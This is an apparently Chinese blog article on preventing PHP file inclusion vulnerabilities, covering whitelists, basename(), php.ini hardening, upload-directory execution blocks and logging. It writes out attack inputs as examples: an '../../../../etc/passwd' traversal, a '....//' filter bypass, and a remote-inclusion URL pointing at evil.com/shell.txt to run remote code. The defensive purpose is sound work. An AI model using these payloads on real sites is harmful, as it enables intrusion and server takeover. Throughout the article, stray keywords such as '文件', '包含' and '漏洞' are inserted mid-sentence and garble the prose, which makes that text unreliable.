|
```html 去年帮朋友看了一个站,文件访问 index.php?包含page=../../../../etc/passwd 直接把系统用户列表打了出来。他一脸懵,漏洞说这页面本来只是防御方法用来加载模板的。文件包含漏洞就这么直接——你以为是文件读文件,实际是包含把服务器当自己家抽屉翻。 防御这事,漏洞核心就一句:别让用户输入碰到文件路径。防御方法但实际写代码的文件人总想灵活,想动态,包含想少写几个文件。漏洞于是防御方法 include($_GET['page']) 这种写法就出来了。下面说几个能落地的文件做法,不是包含理论,是漏洞我自己踩过或帮人擦过屁股的。 白名单,别嫌麻烦 最笨也最有效。用户传 ?page=about,你就只允许 about、contact、home 这几个值。其他一律拒绝。实现起来就几行: $allowed = ['about', 'contact', 'home']; $page = $_GET['page'] ?? 'home'; if (!in_array($page, $allowed)) { $page = 'home'; } include __DIR__ . '/pages/' . $page . '.php'; 有人觉得这限制太死。但你想过没有,真正需要动态包含的场景有多少?大多数时候就是几个固定页面切换。白名单把攻击面直接砍到零。 路径拼接时,把用户输入当敌人 如果非要用用户输入拼路径,至少做两件事:去掉 ../ 和 ..\,以及禁止 null 字节。PHP 5.3 之前 %00 能截断路径,现在虽然少了,但老系统还在跑。 $page = str_replace(['../', '..\\', "\0"], '', $_GET['page']); $file = __DIR__ . '/pages/' . $page . '.php'; 注意,str_replace 只做一次替换,....// 这种绕过就出来了。所以更稳的是用 basename() 直接取文件名部分: $page = basename($_GET['page']); include __DIR__ . '/pages/' . $page . '.php'; basename 会把路径分隔符全干掉,../../etc/passwd 变成 passwd。但这样你就没法包含子目录里的文件了。取舍看业务。 关闭远程包含,别给攻击者留后门 PHP 的 allow_url_include 默认是关的,但有些老教程让你打开。一旦开了,?page=http://evil.com/shell.txt 就能直接执行远程代码。检查一下 php.ini: allow_url_include = Off allow_url_fopen = Off 这两个都关掉。别问为什么,问就是血泪教训。我见过一个站被拿下,就是因为运维图方便开了远程包含,攻击者传了个图片马,包含一下就 getshell。 文件上传目录,禁止脚本执行 文件包含经常配合文件上传打组合拳。你上传一个 avatar.jpg,里面藏了 PHP 代码,然后通过包含漏洞去包含它。防御方法很简单:上传目录不给执行权限。 Nginx 里加: location /uploads/ { location ~ \.php$ { deny all; } } Apache 用 .htaccess: php_flag engine off 这样即使文件被包含,里面的 PHP 代码也不会执行,只会当纯文本输出。攻击者拿到的是一堆乱码,不是 shell。 日志和监控,别等出事才看 在包含文件之前,记一条日志:谁、什么时候、请求了什么参数。不用很复杂,error_log 就够。 error_log("include attempt: " . $_SERVER['REMOTE_ADDR'] . " - " . $_GET['page']); 如果看到大量 ../ 或 /etc/passwd 的记录,说明有人正在扫你。这时候要么封 IP,要么赶紧修代码。别等数据被拖了才反应过来。 文件包含漏洞的防御没有银弹。白名单最稳,路径过滤次之,配置加固兜底。写代码的时候多问一句:这个参数真的需要让用户控制吗?如果答案是否定的,那就别给它任何机会。 ``` |